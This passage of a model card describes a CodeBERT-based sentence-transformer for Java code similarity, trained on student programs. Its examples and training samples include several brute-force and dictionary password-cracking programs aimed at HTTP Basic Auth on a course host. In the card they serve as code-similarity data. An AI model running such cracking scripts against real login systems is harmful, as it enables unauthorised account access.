    \ i+=4) {\n\n\t\t\tbyte data = 0;\n\t\t\tint nGroup = 0;\n\n\t\t\tfor(int j =\
    \ 0; j < 4; j++) {\n\n\t\t\t\tchar theChar = buf.charAt(i + j); \n\n\t\t\t\tif(theChar\
    \ == '=') {\n\t\t\t\t\tdata = 0;\n\t\t\t\t} else {\n\t\t\t\t\tdata = getBaseTableIndex(theChar);\
    \ \n\t\t\t\t}\n\n\t\t\t\tif(data == -1) {\n\t\t\t\t\tthrow new Exception(\"Base64\
    \ decoding bad character\");\n\t\t\t\t}\n\n\t\t\t\tnGroup = 64*nGroup + data;\n\
    \t\t\t}\n\n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 16));\n\t\t\tindex ++;\n\
    \n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 8));\n\t\t\tindex ++;\n\n\t\t\t\
    bytes[index] = (byte) (255 & (nGroup));\n\t\t\tindex ++;\n\t\t}\n\t\t\n\t\tbyte[]\
    \ newBytes = new byte[index];\n\t\tfor(i = 0; i < index; i++) {\n\t\t\tnewBytes[i]\
    \ = bytes[i];\n\t\t}\n\n\t\treturn newBytes;\n\t}\n\n\t\n\tprotected static byte\
    \ getBaseTableIndex(char c) {\n\t\t\n\t\tbyte index = -1;\n\n\t\tfor(byte i =\
    \ 0; i < baseTable.length(); i ++) {\n\t\t\n\t\t\tif(baseTable.charAt(i) == c)\
    \ {\n\t\t\t\tindex = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn index;\n\
    \t}\n}"
  - "\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\n\
    public class BruteForce\n{\n  public BruteForce()\n  {}\n\n  public boolean fetchURL(String\
    \ urlString,String username,String password)\n  {\n     StringWriter  = new StringWriter();\n\
    \     PrintWriter  pw = new PrintWriter();\n     try{\n       URL url=new URL(urlString);\
    \  \n       String userPwd= username+\":\"+password;\n\n       \n       \n   \
    \    \n       \n\n       BASE64Encoder encoder = new BASE64Encoder();\n      \
    \ String encodedStr = encoder.encode (userPwd.getBytes());\n       System.out.println(\"\
    Original String = \" + userPwd);\n\t System.out.println(\"Encoded String = \"\
    \ + encodedStr);\n\n       HttpURLConnection huc=(HttpURLConnection) url.openConnection();\
    \  \n       huc.setRequestProperty( \"Authorization\",\" \"+encodedStr);   \n\
    \       InputStream content = (InputStream)huc.getInputStream();\n       BufferedReader\
    \ in   = \n       new BufferedReader (new InputStreamReader (content));\n    \
    \   String line;\n       while ((line = in.readLine()) != null) {\n         pw.println\
    \ (line);\n       System.out.println(\"*************************************************\"\
    );\n       System.out.println(sw.toString());\n       }return true;\n     } catch\
    \ (MalformedURLException e) {\n       pw.println (\"Invalid URL\");\n       return\
    \ false;\n     } catch (IOException e) {\n       pw.println (\"Error  URL\");\n\
    \       return false;\n     }\n\n  }\n\n  public void getPassword()\n  {  \n \
    \    String alps=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n \
    \    String urlString=\"http://sec-crack.cs.rmit.edu./SEC/2/\";\n     String login=\"\
    \";\n     String pwd=\" \";\n\n      startTime=System.currentTimeMillis();\n \
    \    for(int oneChar=0;oneChar<alps.length();oneChar++)\n     {\n        pwd=alps.substring(oneChar,oneChar+1);\n\
    \        if(this.fetchURL(urlString,login,pwd))\n        {\n            finishTime=System.currentTimeMillis();\n\
    \           System.out.println(\"Finally I gotta it,  password is : \"+pwd);\n\
    \           System.out.println(\"The time for cracking password is: \"+(finishTime-startTime)\
    \ + \" milliseconds\");\n           System.exit(1);\n        } \n        for(int\
    \ twoChar=0;twoChar<alps.length();twoChar++)\n        {\n           pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);\n\
    \           if(this.fetchURL(urlString,login,pwd))\n           {\n           \
    \   finishTime=System.currentTimeMillis();\n             System.out.println(\"\
    Finally I gotta it,  password is : \"+pwd);\n             System.out.println(\"\
    The time for cracking password is: \"+(finishTime-startTime) + \" milliseconds\"\
    );\n             System.exit(1);\n           }\n           for(int threeChar=0;threeChar<alps.length();threeChar++)\n\
    \           {\n             pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);\n\
    \             if(this.fetchURL(urlString,login,pwd))\n             {\n       \
    \         finishTime=System.currentTimeMillis();\n               System.out.println(\"\
    Finally I gotta it,  password is : \"+pwd);\n               System.out.println(\"\
    The time for cracking password is: \"+(finishTime-startTime)+ \" milliseconds\"\
    );\n               System.exit(1);\n             }\n           }\n        }\n\
    \     }\n   }\n\n  public static void main(String[] arguments)\n  {\n     BruteForce\
    \ bf=new BruteForce();\n     bf.getPassword();\n  } \n}"
  - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\
    \    char[] out = new char[((data.length + 2) / 3) * 4];\n\n    \n    \n    \n\
    \    \n    for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n        boolean\
    \ quad = false;\n        boolean trip = false;\n\n        int bat = (0xFF & (int)\
    \ data[i]);\n        bat <<= 8;\n        if ((i+1) < data.length) {\n        \
    \    bat |= (0xFF & (int) data[i+1]);\n            trip = true;\n        }\n \
    \       bat <<= 8;\n        if ((i+2) < data.length) {\n           bat  |= (0xFF\
    \ & (int) data[i+2]);\n            quad = true;\n        }\n        out[index+3]\
    \ = alphabet[(quad? ( bat & 0x3F): 64)];\n        bat >>= 6;\n        out[index+2]\
    \ = alphabet[(trip? ( bat & 0x3F): 64)];\n        bat >>= 6;\n        out[index+1]\
    \ = alphabet[bat & 0x3F];\n        bat >>= 6;\n        out[index+0] = alphabet[\
    \ bat & 0x3F];\n    }\n    return out;\n}\n\n  \nstatic public byte[] decode(char[]\
    \ data)\n{\n    \n    \n    \n    \n    \n    \n\n    int tempLen = data.length;\n\
    \    for( int ix=0; ix<data.length; ix++ )\n    {\n        if( (data[ix] > 255)\
    \ || codes[ data[ix] ] < 0 )\n            --tempLen;  \n    }\n    \n    \n  \
    \  \n    \n\n    int len = (tempLen / 4) * 3;\n    if ((tempLen % 4) == 3) len\
    \ += 2;\n    if ((tempLen % 4) == 2) len += 1;\n\n    byte[] out = new byte[len];\n\
    \n\n\n    int shift = 0;   \n    int accum = 0;   \n    int index = 0;\n\n   \
    \ \n    for (int ix=0; ix<data.length; ix++)\n    {\n        int value = (data[ix]>255)?\
    \ -1: codes[ data[ix] ];\n\n        if ( value >= 0 )           \n        {\n\
    \            accum <<= 6;            \n            shift += 6;             \n\
    \            accum |= value;         \n            if ( shift >= 8 )       \n\
    \            {\n                shift -= 8;         \n                out[index++]\
    \ =      \n                    (byte) ((accum >> shift) & 0xff);\n           \
    \ }\n        }\n        \n        \n        \n        \n        \n        \n \
    \   }\n\n    \n    if( index != out.length)\n    {\n        throw new Error(\"\
    Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\
    \ \")\");\n    }\n\n    return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\
    \ =\n    \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\
    \n        .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\
    static {\n    for (int i=0; i<256; i++) codes[i] = -1;\n    for (int i = 'A';\
    \ i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');\n    for (int i = 'a'; i <=\
    \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n    for (int i = '0'; i <= '9';\
    \ i++) codes[i] = (byte)(52 + i - '0');\n    codes['+'] = 62;\n    codes['/']\
    \ = 63;\n}\n}"
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n\
    {\n   private String myUsername = \"\";\n   private String myPassword = \"\";\n\
    \   private String urlToCrack = \"http://sec-crack.cs.rmit.edu./SEC/2\";\n\n\n\
    \   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n\
    \   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\
    \n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader\
    \  = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n  \
    \       \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n\
    \         } while (myPassword != null);\n      }\n      catch(IOException e)\n\
    \      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n\
    \  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n     \
    \    URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername\
    \ + \":\" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\
    \n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty\
    \  (\"Authorization\", \" \" + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n\
    \         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader\
    \ bf  = new BufferedReader (isr);\n\n          \n          {\n             data\
    \ = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n\
    \         } while (data != null);\n      }\n      catch (IOException e)\n    \
    \  {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n\
    \      System.out.println(\"\\nThe cracked password is : \" + foundPassword);\n\
    \      System.exit(0);\n   }\n}\n\n\n"
  sentences:
  - "\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String\
    \ strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n\
    \    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath)\
    \ {\n        strFilepath = filepath;\n        try {\n            fWordFile = new\
    \ File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n\
    \        }\n        catch(Exception e)\n        {\n            System.out.println(\"\
    Could not open file \" + strFilepath);\n        }\n    }\n    \n    String getPassword()\
    \ {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n\
    \        try {\n            strCurrWord = in.readLine();\n            \n     \
    \       \n            \n        }\n        catch (Exception e)\n        {\n  \
    \          \n            return null;\n        }\n                \n        return\
    \ strCurrWord;\n    }\n    \n}\n"
  - "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\
    \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\
    \ {\n  \n  static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\
    .toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String\
    \ url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n\
    \  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n\
    \  public String getNextPassword(){\n    String nextPassword = \"\";\n    for(int\
    \ i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n\
    \        return null;\n      if(indices[i] == passwordDataSet.length ){\n    \
    \    indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\
    \n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n\
    \  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n\
    \    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public\
    \ void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n\
    \  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n\
    \    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome\
    \ = null;\n    String  authorization = null;\n    String password = null;\n  \
    \  BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n\
    \    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!\"\
    HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n\
    \      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n\
    \      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty(\"\
    GET\", url.getPath() + \" HTTP/1.1\");\n      urlConnection.setRequestProperty(\"\
    Host\", url.getHost());\n      password = getNextPassword();\n      if(password\
    \ == null)\n        return null;\n      System.out.print(password);\n      authorization\
    \ = user + \":\" + password;\n\n\n      urlConnection.setRequestProperty(\"Authorization\"\
    , \" \"+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null);\
    \ \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\
    \n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n      \
    \    System.out.print(\"\\b \\b\");\n      else\n        System.out.print(\"\\\
    b\\b\\b.\");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n\
    \    return this.attempts;\n  }\n  public static void main (String[] args) {\n\
    \    if(args.length != 2){\n      System.out.println(\"usage: java attacks.BruteForce\
    \ <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >\"\
    );\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n\
    \    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n\
    \      System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\
    \      String password = bruteForce1.crackPassword(args[1]);\n      if(password\
    \ != null)\n        System.out.println(\"\\nPassword is: \"+password);\n     \
    \ else\n        System.out.println(\"\\nPassword could not  retrieved!\");\n \
    \     cal2 = Calendar.getInstance();\n      System.out.println(\"Cracking finished\
    \ at: \" + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime()\
    \ - cal1.getTime().getTime());\n      System.out.println(\"Total Time taken  crack:\
    \ \" + (d3.getTime())/1000 + \" sec\");\n      System.out.println(\"Total attempts\
    \ : \"  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n\
    \      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n\
    \    }\n  }\n}"
  - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class\
    \ Dictionary\n{\n\tpublic static void main (String args[])\n\t{\n\t\t\n\t\t\n\
    \        Calendar cal = Calendar.getInstance();\n        Date now=cal.getTime();\n\
    \        double startTime = now.getTime();\n\n\t\tString password=getPassword(startTime);\n\
    \t\tSystem.out.println(\"The password is \" + password);\n\t}\n\n\tpublic static\
    \ String getPassword(double startTime)\n\t{\n\t\tString password=\"\";\n\t\tint\
    \ requests=0;\n\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tFileReader fRead = new FileReader(\"\
    /usr/share/lib/dict/words\");\n\t\t\tBufferedReader buf = new BufferedReader(fRead);\n\
    \n\t\t\tpassword=buf.readLine();\n\n\t\t\twhile (password != null)\n\t\t\t{\n\t\
    \t\t\t\n\t\t\t\tif (password.length()<=3)\n\t\t\t\t{\n\t\t\t\t\trequests++;\n\t\
    \t\t\t\tif (testPassword(password, startTime, requests))\n\t\t\t\t\t\treturn password;\n\
    \t\t\t\t}\n\n\t\t\t\tpassword = buf.readLine();\n\n\t\t\t}\n\t\t}\n\t\tcatch (IOException\
    \ ioe)\n\t\t{\n\n\t\t}\n\n\t\treturn password;\n\t}\n\n\tprivate static boolean\
    \ testPassword(String password, double startTime, int requests)\n\t{\n\t\ttry\n\
    \t\t{\n\t\t\t\n\t\t\t\n\t\t\tURL url=new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    );\n\n\t\t\tHttpURLConnection connection;\n\n    \t\tString userPassword =  \"\
    :\" + password;\n\n    \t\t\n    \t\tString encoding = new url.misc.BASE64Encoder().encode\
    \ (userPassword.getBytes());\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t\n\t\t\t\tconnection\
    \ = (HttpURLConnection) url.openConnection();\n\t\t\t\t\n\t\t\t\tconnection.setRequestProperty(\"\
    Authorization\", \" \" + encoding);\n\n\t\t\t\t\n\t\t\t\tint status=connection.getResponseCode();\n\
    \n\t\t\t\tSystem.out.println(password + requests);\n\n\t\t\t\tif (status==200)\n\
    \t\t\t\t{\n\t\t\t\t\tSystem.out.println(\"It took \" + getTime(startTime) + \"\
    \ milliseconds  find the password.\");\n\t\t\t\t\tSystem.out.println(\" were \"\
    \ + requests + \" requests .\");\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\
    \treturn false;\n\n\t\t\t}\n\n\t\t\tcatch (IOException ioe)\n\t\t\t{\n\t\t\t\t\
    System.out.print(ioe);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}\n\n\t\tcatch (IOException\
    \ MalformedURLException)\n\t\t{\n\t\t\tSystem.out.print(\"Invalid URL\");\n\t\t\
    \treturn false;\n\t\t}\n\t}\n\n\n\tprivate static double getTime(double startTime)\n\
    \t{\n\t\t\n\t\t\n        Calendar cal = Calendar.getInstance();\n        Date\
    \ now=cal.getTime();\n        double endTime = now.getTime();\n\n        return\
    \ endTime-startTime;\n\n\t}\n\n}\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---

# SentenceTransformer based on microsoft/codebert-base

This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

## Model Details

### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base) <!-- at revision 3b0952feddeffad0063f274080e3c23d75e7eb39 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
<!-- - **Training Dataset:** Unknown -->
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->

### Model Sources

- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)

### Full Model Architecture

```
SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```

## Usage

### Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

```bash
pip install -U sentence-transformers
```

Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```

<!--
### Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details>
-->

<!--
### Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details>
-->

<!--
### Out-of-Scope Use

*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->

<!--
## Bias, Risks and Limitations

*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->

<!--
### Recommendations

*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->

## Training Details

### Training Dataset

#### Unnamed Dataset

* Size: 33,411 training samples
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
* Approximate statistics based on the first 1000 samples:
  |         | sentence_0                                                                           | sentence_1                                                                           | label                                          |
  |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|
  | type    | string                                                                               | string                                                                               | int                                            |
  | details | <ul><li>min: 61 tokens</li><li>mean: 471.36 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 61 tokens</li><li>mean: 491.01 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.50%</li><li>1: ~0.50%</li></ul> |
* Samples:
  | sentence_0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | sentence_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | label          |
  |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
  | <code><br>public class ImageFile<br>{<br>	private String imageUrl;<br>	private int imageSize;<br><br>	public ImageFile(String url, int size)<br>	{<br>		imageUrl=url;<br>		imageSize=size;<br>	}<br><br>	public String getImageUrl()<br>	{<br>		return imageUrl;<br>	}<br><br>	public int getImageSize()<br>	{<br>		return imageSize;<br>	}<br>}<br></code>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | <code><br><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.Date;<br><br>public class MyMail implements Serializable<br>{<br>	<br><br>	<br>	public static final int SMTPPort = 25;<br><br>	<br>	public static final char successPrefix = '2';<br><br>	<br>	public static final char morePrefix = '3';<br><br>	<br>	public static final char failurePrefix = '4';<br><br>	<br><br>	<br>	private static final String CRLF = "\r\n";<br><br>	<br>	private String mailFrom = "";<br><br>	<br>	private String mailTo = "";<br><br>	<br>	private String messageSubject = "";<br><br>	<br>	private String messageBody = "";<br><br>	<br>	private String mailServer = "";<br><br>	<br>	public MyMail ()<br>	{<br>		<br>		super();<br>	}<br><br>	<br>	public MyMail ( String serverName)<br>	{<br>		<br>		super();<br><br>		<br>		mailServer = serverName;<br>	}<br><br>	<br>	public String getFrom()<br>	{<br>		return mailFrom;<br>	}<br><br>	<br>	public String getTo()<br>	{<br>		return mailTo;<br>	}<br><br>	<br>	public String getSubject()<br>	{<br>		return messageSubject;<br>	}<br><br>	<br>	public String getMessage()<br>	{<br>		return messageBody;<br>	}<br><br>	<br>	public String getMailServer()<br>	{<br>		return mailServer;<br>	}<br><br>	<br>	public void setFrom( String from )<br>	{<br>		<br>		mailFr...</code> | <code>0</code> |
  | <code><br>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br>public class WatchDog<br>{<br>   private Vector init;<br>   public WatchDog()<br>   {<br>      try<br>      {<br>      Runtime run = Runtime.getRuntime();<br>      String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";<br>      Process result = run.exec(command_line);<br>      BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));<br>      String inputLine;<br>      init = new Vector();<br>      while ((inputLine = in.readLine()) != null)<br>      {<br>         init.addElement(inputLine);<br>      }<br>     <br>      }catch(Exception e)<br>      {<br>      }<br>   }<br>   public static void main(String args[])<br>   {<br>     WatchDog wd = new WatchDog();<br>     wd.nextRead();<br>   }<br><br>   public void nextRead()<br>   {<br>     while(true)<br>     {<br>      ScheduleTask sch = new ScheduleTask(init);<br>      if(sch.getFlag()!=0)<br>      {<br>        System.out.println("change happen");<br>        WatchDog wd = new WatchDog();<br>        wd.nextRead();<br>      }<br>     <br>     }<br>   }<br>}</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary{<br><br>  private static 